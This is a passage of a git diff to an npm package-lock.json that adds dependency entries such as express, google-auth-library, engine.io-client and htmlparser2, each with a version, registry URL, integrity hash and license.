}, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/ecdsa-sig-formatter": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", + "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/end-of-stream": { "version": "1.4.5", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", @@ -2187,6 +4239,79 @@ "once": "^1.4.0" } }, + "node_modules/engine.io-client": { + "version": "6.6.4", + "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.6.4.tgz", + "integrity": "sha512-+kjUJnZGwzewFDw951CDWcwj35vMNf2fcj7xQWOctq1F2i1jkDdVvdFG9kM/BEChymCH36KgjnW0NsL58JYRxw==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.4.1", + "engine.io-parser": "~5.2.1", + "ws": "~8.18.3", + "xmlhttprequest-ssl": "~2.1.1" + } + }, + "node_modules/engine.io-client/node_modules/ws": { + "version": "8.18.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.3.tgz", + "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/engine.io-parser": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.3.tgz", + "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, "node_modules/es-module-lexer": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz", @@ -2194,6 +4319,33 @@ "dev": true, "license": "MIT" }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, "node_modules/esbuild": { "version": "0.27.3", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.3.tgz", @@ -2236,6 +4388,12 @@ "@esbuild/win32-x64": "0.27.3" } }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, "node_modules/escape-string-regexp": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", @@ -2413,6 +4571,30 @@ "node": ">=0.10.0" } }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.4.tgz", + "integrity": "sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==", + "license": "MIT" + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "license": "MIT", + "engines": { + "node": ">=0.8.x" + } + }, "node_modules/expand-template": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", @@ -2432,12 +4614,71 @@ "node": ">=12.0.0" } }, + "node_modules/express": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", + "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==", + "license": "MIT", + "dependencies": { + "accepts": "^2.0.0", + "body-parser": "^2.2.1", + "content-disposition": "^1.0.0", + "content-type": "^1.0.5", + "cookie": "^0.7.1", + "cookie-signature": "^1.2.1", + "debug": "^4.4.0", + "depd": "^2.0.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "finalhandler": "^2.1.0", + "fresh": "^2.0.0", + "http-errors": "^2.0.0", + "merge-descriptors": "^2.0.0", + "mime-types": "^3.0.0", + "on-finished": "^2.4.1", + "once": "^1.4.0", + "parseurl": "^1.3.3", + "proxy-addr": "^2.0.7", + "qs": "^6.14.0", + "range-parser": "^1.2.1", + "router": "^2.2.0", + "send": "^1.1.0", + "serve-static": "^2.2.0", + "statuses": "^2.0.1", + "type-is": "^2.0.1", + "vary": "^1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", "license": "MIT" }, + "node_modules/fast-content-type-parse": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/fast-content-type-parse/-/fast-content-type-parse-3.0.0.tgz", + "integrity": "sha512-ZvLdcY8P+N8mGQJahJV5G4U88CSvT1rP8ApL6uETe88MBXrBHAkZlSEySdUlyztF7ccb+Znos3TFqaepHxdhBg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "MIT" + }, "node_modules/fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", @@ -2455,6 +4696,12 @@ "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", "dev": true }, + "node_modules/fast-sha256": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", + "integrity": "sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==", + "license": "Unlicense" + }, "node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", @@ -2473,6 +4720,29 @@ } } }, + "node_modules/fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "paypal", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "dependencies": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + }, + "engines": { + "node": "^12.20 || >= 14.13" + } + }, "node_modules/file-entry-cache": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", @@ -2491,6 +4761,27 @@ "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", "license": "MIT" }, + "node_modules/finalhandler": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", + "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "on-finished": "^2.4.1", + "parseurl": "^1.3.3", + "statuses": "^2.0.1" + }, + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/find-up": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", @@ -2526,6 +4817,93 @@ "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", "dev": true }, + "node_modules/follow-redirects": { + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/form-data/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/form-data/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "license": "MIT", + "dependencies": { + "fetch-blob": "^3.1.2" + }, + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", + "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/fs-constants": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", @@ -2547,6 +4925,80 @@ "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gaxios": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.4.tgz", + "integrity": "sha512-bTIgTsM2bWn3XklZISBTQX7ZSddGW+IO3bMdGaemHZ3tbqExMENHLx6kKZ/KlejgrMtj8q7wBItt51yegqalrA==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "node-fetch": "^3.3.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/gcp-metadata": { + "version": "8.1.2", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz", + "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^7.0.0", + "google-logging-utils": "^1.0.0", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, "node_modules/get-tsconfig": { "version": "4.13.6", "resolved": "https://registry.npmjs.org/get-tsconfig/-/get-tsconfig-4.13.6.tgz", @@ -2590,6 +5042,70 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/google-auth-library": { + "version": "10.6.2", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.2.tgz", + "integrity": "sha512-e27Z6EThmVNNvtYASwQxose/G57rkRuaRbQyxM2bvYLLX/GqWZ5chWq2EBoUchJbCc57eC9ArzO5wMsEmWftCw==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^7.1.4", + "gcp-metadata": "8.1.2", + "google-logging-utils": "1.1.3", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/google-logging-utils": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", + "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/googleapis-common": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/googleapis-common/-/googleapis-common-8.0.1.tgz", + "integrity": "sha512-eCzNACUXPb1PW5l0ULTzMHaL/ltPRADoPgjBlT8jWsTbxkCp6siv+qKJ/1ldaybCthGwsYFYallF7u9AkU4L+A==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "gaxios": "^7.0.0-rc.4", + "google-auth-library": "^10.1.0", + "qs": "^6.7.0", + "url-template": "^2.0.8" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graphql": { + "version": "16.13.2", + "resolved": "https://registry.npmjs.org/graphql/-/graphql-16.13.2.tgz", + "integrity": "sha512-5bJ+nf/UCpAjHM8i06fl7eLyVC9iuNAjm9qzkiu2ZGhM0VscSvS6WDPfAwkdkBuoXGM9FJSbKl6wylMwP9Ktig==", + "license": "MIT", + "peer": true, + "engines": { + "node": "^12.22.0 || ^14.16.0 || ^16.0.0 || >=17.0.0" + } + }, "node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", @@ -2600,6 +5116,168 @@ "node": ">=8" } }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hast-util-to-html": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/hast-util-to-html/-/hast-util-to-html-9.0.5.tgz", + "integrity": "sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "ccount": "^2.0.0", + "comma-separated-tokens": "^2.0.0", + "hast-util-whitespace": "^3.0.0", + "html-void-elements": "^3.0.0", + "mdast-util-to-hast": "^13.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0", + "stringify-entities": "^4.0.0", + "zwitch": "^2.0.4" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-whitespace": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz", + "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==", + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/html-to-text": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/html-to-text/-/html-to-text-9.0.5.tgz", + "integrity": "sha512-qY60FjREgVZL03vJU6IfMV4GDjGBIoOyvuFdpBDIX9yTlDw0TjxVBQp+P8NvpdIXNJvfWBTNul7fsAQJq2FNpg==", + "license": "MIT", + "dependencies": { + "@selderee/plugin-htmlparser2": "^0.11.0", + "deepmerge": "^4.3.1", + "dom-serializer": "^2.0.0", + "htmlparser2": "^8.0.2", + "selderee": "^0.11.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/html-void-elements": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz", + "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/htmlparser2": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.2.tgz", + "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "MIT", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "entities": "^4.4.0" + } + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, "node_modules/husky": { "version": "9.1.7", "resolved": "https://registry.npmjs.org/husky/-/husky-9.1.7.tgz", @@ -2616,6 +5294,22 @@ "url": "https://github.com/sponsors/typicode" } }, + "node_modules/iconv-lite": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz", + "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, "node_modules/ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", @@ -2682,6 +5376,21 @@ "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", "license": "ISC" }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-electron": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/is-electron/-/is-electron-2.2.2.tgz", + "integrity": "sha512-FO/Rhvz5tuw4MCWkpMzHFKWD2LsfHzIb7i6MdPYZ/KW7AlxawyLkqdy+jPZP1WubqEADE3O4FUENlJHDfQASRg==", + "license": "MIT" + }, "node_modules/is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", @@ -2703,6 +5412,18 @@ 